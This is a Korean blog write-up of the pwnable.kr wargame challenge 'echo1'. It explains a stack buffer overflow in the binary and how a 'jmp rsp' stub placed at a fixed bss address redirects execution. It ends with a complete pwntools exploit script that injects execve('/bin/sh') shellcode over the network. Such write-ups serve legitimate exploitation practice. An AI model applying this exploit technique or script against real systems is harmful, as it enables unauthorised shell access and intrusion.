1. 문제
- echo1 바이너리 파일을 다운로드할 수 있는 링크가 주어진다.
- nc로 접속할 수 있는 정보가 주어진다.
2. 코드 분석
- 코드는 ghidra, gdb를 통해 분석하였으며, 본 설명은 푸는데 필요한 부분만 작성하였다.
- 아래 그림은 input받는 name에 대한 부분이다.
- malloc을 통해 0x28만큼 동적 할당하며, 해당 공간에 byebye, greetings의 함수 포인터와 입력받는 name을 저장한다.
- name의 경우, 0x24만큼 입력값을 받아오며, 할당한 heap영역의 0위치부터 8byte씩 저장된다.
- 이후, name의 첫 0x4는 bss에 위치한 id에 저장된다.
( bss에 위치한 주소는 고정주소이다. )
heap bss
+-----------------------+ 0x4 +---------------+
| name[0] | 0 =========> | | id(0x6020a0)
+-----------------------+ +---------------+
| name[1] | 8
+-----------------------+
| name[2] | 16
+-----------------------+
| byebye | 24
+-----------------------+
| greetings | 32
+-----------------------+
- echo1에 대한 코드 분석이다.
(echo2와 echo3은 "not supported"의 문구만 출력하는 함수이다.)- 0x20만큼 스택을 할당한다.
- [RBP-0x20]위치부터 0x80만큼 입력받아와 저장하기 때문에, BOF취약점이 존재한다.
+-----------------------+--[RBP-0x20]
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+<-RBP
| SFP |
+-----------------------+
| RET |
+-----------------------+
3. 풀이
① 적용된 보호기법을 확인한다.
② 실행할 쉘코드를 생성해준다.
shell = shellcraft.execve("/bin/sh",0,0)
③ echo1의 스택에서 BOF를 발생시켜, RET값을 name의 주소 값으로 덮어쓰고 RET이후에는 shell code를 삽입해둔다.
- 생성한 쉘코드는 37byte이기 때문에, name은 불가능하고 echo1의 스택을 활용해야 한다.
④ 쉘 코드를 고정된 주소 값에 넣어줘야, 쉘 코드의 주소를 알 수 있기 때문에 name을 활용해야 한다.
- 해당 바이너리에는 ASLR이 적용되어 있기 때문이다.
- 하지만, name에는 4byte의 크기만 저장할 수 있다.
⑤ name에 "jmp rsp"명령어를 넣는다.
- echo1 실행을 마치고, 초기화되지 않은 rsp위치로 jump하게 되어서, RET이후에 위치한 shellcode를 가리키게 된다.
+-------------------------+--[RBP-0x20]
| AAAAAAAA |
+-------------------------+
| AAAAAAAA |
+-------------------------+
| AAAAAAAA |
+-------------------------+
| AAAAAAAA |
+-------------------------+<-RBP
| BBBBBBBB | bss
+-------------------------+ +----------------+
| RET -> 0x6020a0 | =============> | asm('jmp rsp') | id(0x6020a0)
+-------------------------+ +----------------+
| execve('/bin/sh', 0, 0) |
+-------------------------+
4. Exploit
from pwn import *
context.arch = "amd64"
p = remote(b"pwnable.kr", 9010)
#p = process(b"./echo1")
shell = shellcraft.execve("/bin/sh",0,0)
id_addr = 0x6020a0
name = asm('jmp rsp')
payload = b"A" * 0x20
payload += b"B" * 0x8
payload += p64(id_addr)
payload += asm(shell)
p.recvuntil(b"name? : ")
p.sendline(name)
print(p.recv())
p.sendline(b"1")
print(p.recvuntil(name + b"\n"))
p.sendline(payload)
print(p.recv())
p.interactive()
'Wargame > pwnable.kr' 카테고리의 다른 글
[stack unlimited, control esp] fix (0) | 2022.08.09 |
---|---|
[Fake EBP] simple login (0) | 2022.08.05 |
[BOF + Canary leak] md5 calculator (0) | 2022.08.01 |